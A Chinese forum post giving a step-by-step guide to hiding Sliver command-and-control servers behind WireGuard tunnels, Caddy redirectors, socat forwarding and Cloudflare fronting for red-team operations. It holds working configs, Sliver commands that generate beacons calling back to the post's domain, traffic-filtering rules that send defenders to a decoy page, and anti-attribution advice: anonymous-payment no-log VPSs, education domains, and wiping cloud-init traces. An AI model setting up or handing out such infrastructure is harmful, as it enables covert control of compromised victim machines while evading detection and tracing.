找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4283

积分

0

好友

620

主题
发表于 4 天前 | 查看: 23| 回复: 0

整体架构设计

前置跳板机/重定向器:运行 WireGuard 服务端和 Caddy 的 VPS。

后端 C2 服务器:运行 WireGuard 客户端和 Sliver C2 框架的 VPS。

为什么选择 WireGuard?

  • UDP协议,DPI特征极低(OpenVPN / OpenSSH 容易被识别)
  • 性能极高,延迟 < 5ms
  • 原生支持密钥轮换 + PersistentKeepalive
  • 支持 PostUp / PostDown 自动 iptables 伪装

单层 vs 多层对比

层数 隐蔽性 部署难度 溯源难度 推荐场景
单层(仅 Caddy) ★★☆☆☆ ★☆☆☆☆ ★★☆☆☆ 快速验证 / 低对抗
双层(WireGuard + Caddy) ★★★★☆ ★★☆☆☆ ★★★★☆ 主流红队行动
三层(+ Cloudflare Fronting) ★★★★★ ★★★☆☆ ★★★★★ 高对抗环境(APT 级)

基础设施准备

  • Redirector:优先选择 .edu.pl / .ac.cn / .edu.cn 等教育域名,或 DigitalOcean / Vultr / Hetzner / Oracle Cloud Free Tier。

  • C2:优先选择 Mullvad、Njalla、1984.is 等无日志且支持匿名支付的 VPS。

必须清洗指纹(两端都执行),例如:

  • 默认开启的服务和端口
  • 主机名
  • 云厂商镜像留下的初始化痕迹
  • HTTP / TLS 响应特征
  • 系统版本、软件横幅、日志残留
# 清理云初始化残留
rm -rf /var/lib/cloud/ /etc/cloud/ /root/.cloud-init*

# 关闭 IPv6(可选,更隐蔽)
sysctl -w net.ipv6.conf.all.disable_ipv6=1
sysctl -w net.ipv6.conf.default.disable_ipv6=1

基于 WireGuard 的加密隧道:隐秘链路构建

Redirector_VPS(服务端)配置:

sudo apt update && sudo apt install wireguard -y

cd /etc/wireguard/
wg genkey | tee privatekey | wg pubkey > publickey

sudo vim /etc/wireguard/wg0.conf

[Interface]
Address = 10.10.0.1/24
SaveConfig = true
ListenPort = 51820
PrivateKey = <服务器私钥内容>

[Peer]
PublicKey = <客户端公钥>
AllowedIPs = 10.10.0.2/32

C2_VPS(客户端)配置:

[Interface]
PrivateKey = <客户端私钥>
Address = 10.10.0.2/24

[Peer]
PublicKey = <服务器公钥>
Endpoint = <服务器公网IP>:51820
AllowedIPs = 10.10.0.1/32
PersistentKeepalive = 25

启动命令:

sudo wg-quick up wg0

如果需要重启,可以执行:

sudo wg-quick down wg0 && sudo wg-quick up wg0

Tips:

服务端不仅要放行安全组端口,本地防火墙也要放行。

ufw status verbose
# 如果没放行,执行:
ufw allow 51820/udp
ufw reload

应用层重定向:TLS 卸载与业务流量清洗

Caddy 安装

sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
sudo chmod o+r /usr/share/keyrings/caddy-stable-archive-keyring.gpg
sudo chmod o+r /etc/apt/sources.list.d/caddy-stable.list
sudo apt update && sudo apt install caddy

反向代理 & 重定向流量 & 清洗流量规则

sudo vim /etc/caddy/Caddyfile

91vedio.core.edu.pl {
    log {
        output stdout
    }

    @c2 path /api/v1/red/*

    handle @c2 {
        reverse_proxy 10.10.0.2:8080 {
            header_up Host {host}
            header_up X-Real-IP {remote_host}
            header_up X-Forwarded-For {remote_host}
        }
    }

    handle {
        redir https://support.microsoft.com/en-us
    }
}

sudo systemctl reload caddy.service
sudo systemctl enable caddy.service
sudo systemctl restart caddy.service

通过查看日志来确认证书是否申请成功:

journalctl -u caddy --no-pager | tail -n 100 | grep -iE successfully

Tips:
你还可以配置蜜罐规则来诱导扫描器。

handle /admin /wp-login.php /phpmyadmin /login { respond "404 Not Found" 404 }

# 用 Cloudflare 让 Caddy 走 DNS 验证,减少暴露面
tls { dns cloudflare <你的_CF_API_TOKEN> }  # 自动申请通配符证书

C2 配置(Sliver)

启动 HTTP 监听器:

[server] sliver > http -l 8080
HTTP Beacon
[server] sliver > generate beacon --http https://91vedio.core.edu.pl/api/v1/red --os linux --arch amd64 --name linux --save ./bin/linux

传输层重定向:协议透传与端到端 mTLS 校验

C2 配置(Sliver)

[server] sliver > mtls -l 8081
mTLS Beacon(端到端加密):
[server] sliver > generate beacon --mtls 91vedio.core.edu.pl --os linux --arch amd64 --name linux --save ./bin/linux

流量转发

sudo apt install socat
socat TCP4-LISTEN:443,fork TCP4:10.10.0.2:8801 &

改进:配置 CDN(以 Cloudflare 为例)

将域名的 DNS 服务器(NS记录)修改为 Cloudflare 提供的服务器。

然后在 Cloudflare 控制面板中,为域名添加一条 DNS 记录:类型: A名称: www(或 @ 代表根域名)。

更改 Caddy 监听端口:由于 Cloudflare 默认回源到源站的 80443 端口,我们可以修改端口以增加隐蔽性。例如,将 Caddy 改为监听 8443 端口。

设置防火墙白名单:在跳板机的防火墙(ufw)上,只允许来自 Cloudflare IP 地址范围的流量访问你的 Caddy 端口(8443),拒绝所有其他 IP。

# 例如,允许Cloudflare的HTTP/HTTPS回源IP
sudo ufw allow from 173.245.48.0/20 to any port 8443 proto tcp
sudo ufw allow from 103.21.244.0/22 to any port 8443 proto tcp
# ... 添加所有Cloudflare IPv4/IPv6段 ...
sudo ufw deny 8443/tcp # 最后,默认拒绝其他所有IP

在 Cloudflare 中配置回源端口:在“SSL/TLS” -> “源服务器”设置中,创建一个“源服务器证书”,并在“自定义主机名”或“回源”设置中,指定回源端口为 8443

最终的流量链条为

受害者主机
↓ (HTTPS -> 标准 443 端口,SNI: 91vedio.core.edu.pl)
Cloudflare 全球任意边缘节点 (IP: 104.16.xxx.xxx)
↓ (HTTPS -> 自定义 8443 端口,可进行严格的SNI和IP白名单校验)
跳板机 (IP: A.A.A.A,但仅对Cloudflare IP开放)
↓ (WireGuard隧道)
C2服务器 (IP: B.B.B.B,完全隐藏)

完整搭建下来,你的 C2 渗透测试 后端服务器就完全被隐藏在多层重定向器之后,大大提升了红队行动中的对抗能力。




上一篇:谷歌400亿锁定Anthropic:AI两强对垒,御三家格局终结
下一篇:DeepSeek V4迁移实战:API成本直降90%性能反超GPT-5.5
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-5-1 16:49 , Processed in 0.714576 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表